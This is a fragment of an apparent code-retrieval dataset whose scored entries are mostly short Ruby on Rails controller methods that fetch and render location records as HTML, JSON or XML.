params[:loc]\n\t\n\t@locations = Location.all(:conditions =>[ \"loc like ? \", \"%#{params[:loc]}%\"])\n\tif !@locations.empty?\n @lat = @locations[0].lat\n @lng = @locations[0].lng\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @locations }\n end\n end", "title": "" }, { "docid": "ef202759e53c8f9dbe1acc7e9da6c2d9", "score": "0.663699", "text": "def show\n @drop_location = DropLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @drop_location }\n end\n end", "title": "" }, { "docid": "48d8a8e7a5f70962c67007cbebd19847", "score": "0.663626", "text": "def getLocation( location_id)\n params = Hash.new\n params['location_id'] = location_id\n return doCurl(\"get\",\"/location\",params)\n end", "title": "" }, { "docid": "8dc243de8c789fbcdf32f1991e1cdbe5", "score": "0.66326094", "text": "def getlocation\n \tlocafid = Windmill.where(no: params[:no])\nif locafid.present?\n \t\tlocafid = Windmill.find_by(no: params[:no])\n \t\trender json: [locafid.as_json(only: [:no, :latitude, :londitude,:location])]\nelse\n \t\trender json: {massage: 'windmill not found'}\n end\nend", "title": "" }, { "docid": "b5a94276edfa0426ca23389f5d4fdd97", "score": "0.66320115", "text": "def location\n @client.get(\"#{path}/location\")\n end", "title": "" }, { "docid": "53ba558e21d49296e4825a966ab03bd9", "score": "0.662716", "text": "def show\n objid = params[:id]\n obj = PickupLocation.find_by_id(objid)\n if obj\n render json: {pickup_location: obj}, status: 200\n else\n render json: {}, status: 404\n end\n rescue => error\n render json: {}, status: 500\n end", "title": "" }, { "docid": "6b9793668c84b7f657bdde54ef1985ce", "score": "0.6624833", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "49d710192ea9cfe41152cecaa6ac9c85", "score": "0.6619666", "text": "def new\r\n @location = Location.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @location }\r\n end\r\n end", "title": "" }, { "docid": "49d710192ea9cfe41152cecaa6ac9c85", "score": "0.6619666", "text": "def new\r\n @location = Location.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @location }\r\n end\r\n end", "title": "" }, { "docid": "c2675be8fd48407fbfecaf0a275f7be3", "score": "0.6618381", "text": "def new\n @location = Location.new \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @location }\n end\n end", "title": "" }, { "docid": "620b7f4360b73bdf47fef6f6bc25a663", "score": "0.66092163", "text": "def show\n @location = Location.find(params[:id]) \n end", "title": "" }, { "docid": "d4c8111c8cca4a7d75d50263183878c3", "score": "0.6604356", "text": "def new\n @location_url_map = LocationUrlMap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location_url_map }\n end\n end", "title": "" }, { "docid": "163ac38056e32876be029b85951b40ea", "score": "0.6591038", "text": "def show\n @location = Location.find(:first, :conditions => [ \"geonameid = ?\", params[:id] ] )\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location }\n end\n end", "title": "" }, { "docid": "d451189a0c7cf6a6cb9dd112b54c4f15", "score": "0.65823317", "text": "def show\n @meeting_location = MeetingLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meeting_location }\n end\n end", "title": "" }, { "docid": "74441a0ee834dbb039295489d71a619e", "score": "0.657479", "text": "def locations(place)\n get :loc => place\n end", "title": "" }, { "docid": "3e52020fefaea480e77336dc59c7d4a0", "score": "0.6556195", "text": "def show\n\t\t@all_locations = Location.where(:faculty => params[:id])\n\t\trender :json => @all_locations\n\tend", "title": "" }, { "docid": "508c28aaba175969d85a8f4e39bd59c8", "score": "0.65518993", "text": "def show\n @storage_location = StorageLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @storage_location }\n end\n end", "title": "" }, { "docid": "c8ae0e41efbe07d7518bf02acb34c382", "score": "0.6546189", "text": "def show\n Project.hit 4\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location, callback: params[:callback] }\n format.xml { render xml: @location }\n end\n end", "title": "" }, { "docid": "e6e2fd7f17fa9fb1e8a2a74f8354958d", "score": "0.6526057", "text": "def show\n @accession_location_entry = AccessionLocationEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @accession_location_entry }\n end\n end", "title": "" }, { "docid": "7defff3a983e791bf4e2f82a537fe554", "score": "0.6521372", "text": "def location(location,types=nil)\n handle_response(get(\"/content/location.json\", :query => {:location => location,:types=>types}))\n end", "title": "" }, { "docid": "019e16518c3ba06ce9639416fbe5edf2", "score": "0.6519673", "text": "def new\n @records_location = RecordsLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @records_location }\n end\n end", "title": "" }, { "docid": "b2505676b125edffbc45000ff018ce03", "score": "0.6498466", "text": "def show\n @factors_location = FactorsLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @factors_location }\n end\n end", "title": "" }, { "docid": "8f44eaab00173937b7ce1ad484f9967a", "score": "0.64942145", "text": "def index\n @api_v1_locations = Api::V1::Location.all\n respond_to do |format|\n format.html { @api_v1_locations }\n format.json { render json: {results: @api_v1_locations, message: 'Locations have loaded successfully.'} }\n end\n end", "title": "" }, { "docid": "8f01153a8ee1c2b289ee0267dc2de4d8", "score": "0.64924353", "text": "def location(id, options = {})\n get \"locations/#{id}\", options\n end", "title": "" }, { "docid": "1d68c0d36d307d76ef104b19e0b2aeef", "score": "0.64869", "text": "def show\n @locations = VehicleLocation.where(api_vehicle_id: @vehicle.api_id)\n @current_location = @locations.last\n end", "title": "" }, { "docid": "9afcc2f7c5aaa85425b13772e6980526", "score": "0.6484942", "text": "def new\n @locationmap = Locationmap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @locationmap }\n end\n end", "title": "" }, { "docid": "f756b31d46cabfecd5b192739455e776", "score": "0.6476159", "text": "def show\n @sign = Sign.find(params[:id])\n @location = Location.find(@sign.location_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sign }\n end\n end", "title": "" }, { "docid": "616d826e78878fafea98c96c345920c3", "score": "0.6458485", "text": "def new\n @processed_location = ProcessedLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @processed_location }\n end\n end", "title": "" }, { "docid": "8c87d85af7e6c1a9b915785c952316d6", "score": "0.6457863", "text": "def find_location\n\t\t@surgery_location = SurgeryLocation.where(id:params[:id])[0]\n\t\trender json: {success: false, message: 'Invalid Surgery Location ID !'}, status: 400 if @surgery_location.nil?\n\tend", "title": "" }, { "docid": "a16e1fdd32a6c55fba0c1e2c1ecee75d", "score": "0.64466304", "text": "def show\n @location = Location.with_samples.find(params[:id])\n @sample_summaries = @location.sample_summaries.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location }\n end\n end", "title": "" }, { "docid": "262ac910e347ada5cf3476b76bc4e8c0", "score": "0.6423371", "text": "def show\n @locationmap = Locationmap.find(params[:id])\n @json=@locationmap.to_gmaps4rails\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @locationmap }\n end\n end", "title": "" }, { "docid": "749a55ca7ddfe1ed6bb2efee5d79c433", "score": "0.6423362", "text": "def showByLocation\n location_id=params[:location_id]\n loc=Location.find_by(location_id:location_id)\n if loc!=nil\n @weathers=loc.weathers.where(\"date=?\",params[:date])\n @weathers_currently = Parser.currentWeather params[:location_id]\n if @weathers==nil\n @weathers=[]\n end\n else\n @weathers=[]\n @weathers_currently={}\n end\n\n respond_to do |format|\n format.html\n format.json #json format is implemented in *.json.erb file\n end\n end", "title": "" }, { "docid": "0176fb78f54e076a81d563530170abf6", "score": "0.6416021", "text": "def location_primer\n render(json: location_list)\n end", "title": "" }, { "docid": "105e3a97077dfc96f82cbc6284fb4a03", "score": "0.6414101", "text": "def new\n @location = Location.new\n @json = @location.to_gmaps4rails\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "0c703c64776249962a79a66c27243676", "score": "0.64138305", "text": "def show\n @user_follow_location = UserFollowLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_follow_location }\n end\n end", "title": "" }, { "docid": "b06dac42063b419657f59db18b10ca2b", "score": "0.6409155", "text": "def index\n @locations = Location.order(\"id desc\").page(params[:page]).per(50)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @locations }\n end\n end", "title": "" }, { "docid": "0f369b17d75585de85595a6fa6047912", "score": "0.6393451", "text": "def index\n @map = Map.find(params[:map_id])\n if @map.kind == \"activity\"\n @locations = @map.locations.activity\n elsif @map.kind == \"news\"\n @locations = @map.locations.news\n else\n @locations = @map.locations\n end\n respond_to do |format|\n format.json { render :json => @locations.as_json(:include => :location_pin)}\n end\n end", "title": "" }, { "docid": "d6118056cea6093b8f424aba5c4226b5", "score": "0.6391012", "text": "def get_address_and_loc\n id = params[:place_id].to_i\n place = Place.find(id)\n render json: { address: place.address, loc: place.neighborhood }\n end", "title": "" }, { "docid": "f46689d06f5c1cbd39b9c81422905794", "score": "0.6386124", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @locations }\n end\n end", "title": "" }, { "docid": "9fd03fbc3d2c12092c862afc8cc25039", "score": "0.6385968", "text": "def index\n @locations = Location.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @locations }\n end\n end", "title": "" }, { "docid": "24a3accac0585e249bd93848a702de34", "score": "0.63811064", "text": "def new\n @event_location = EventLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @event_location }\n end\n end", "title": "" }, { "docid": "7f4734608e6d117c56f39adcdabae3b7", "score": "0.63750964", "text": "def show\n @location = Location.find(params[:id])\n @items = @location.location_items\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location }\n end\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "f47bd582f0e1ba787284665627e1d749", "score": "0.0", "text": "def set_contestant\n @contestant = Contestant.find(params[:id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.6165152", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.60463154", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.59467196", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.5917112", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890387", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.58345735", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.57773316", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.56991524", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.56991524", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.565454", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.5622282", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.54232633", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.54119074", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.54119074", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.54119074", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.53937256", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53801376", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5358599", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.53412294", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.5340814", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.53314966", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.53114754", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.52984965", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.52977055", "text": "def setup_handler\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.5296272", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.5260649", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.5245076", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52388334", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52388334", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52388334", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52388334", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52388334", "text": "def action; end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.5235081", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.52321917", "text": "def workflow\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.5228592", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.5220735", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.52198535", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.52139324", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.5208539", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.5206585", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.5178542", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.5175199", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5173538", "text": "def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.5167041", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.51614195", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.51577675", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.5153909", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.51528823", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5152225", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.51429904", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.5141399", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.51345575", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.51145", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5114052", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5114052", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110216", "text": "def action\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.5108656", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.50935394", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.5089196", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.5081936", "text": "def before_action \n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.5079627", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.50675833", "text": "def action\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.5056105", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.5053687", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.5050475", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.5050475", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.503471", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.5028311", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.501982", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.50157547", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.5013552", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.50014806", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.50011593", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.49976763", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4990292", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4990292", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.49882022", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.4981269", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.49792367", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49766538", "text": "def after_set_callback; end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.4967978", "text": "def lookup_action; end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.49667212", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.4958987", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.49572337", "text": "def release_actions; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.49550423", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.4954479", "text": "def around_hooks; end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.4952353", "text": "def save_action; end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.494726", "text": "def action_target()\n \n end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.4944055", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.4935437", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.4931248", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.49283475", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.49281213", "text": "def default_action; end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.49268973", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.4921738", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.49204507", "text": "def advice\n end", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.4918924", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "399ad686f5f38385ff4783b91259dbd7", "score": "0.49182287", "text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.4916538", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.49158585", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "9e264985e628b89f1f39d574fdd7b881", "score": "0.49156788", "text": "def duas1(action)\n action.call\n action.call\nend", "title": "" } ]
1dc4bd1d90a811f888f702e6b8bf26fc
Set field `name_or_id` equal to `value`.
[ { "docid": "da5cd2aafcfbc700f4713592d71620ec", "score": "0.6475817", "text": "def []=(name_or_id, value)\n @pending_changes[self.field_id(name_or_id)] = value\n end", "title": "" } ]
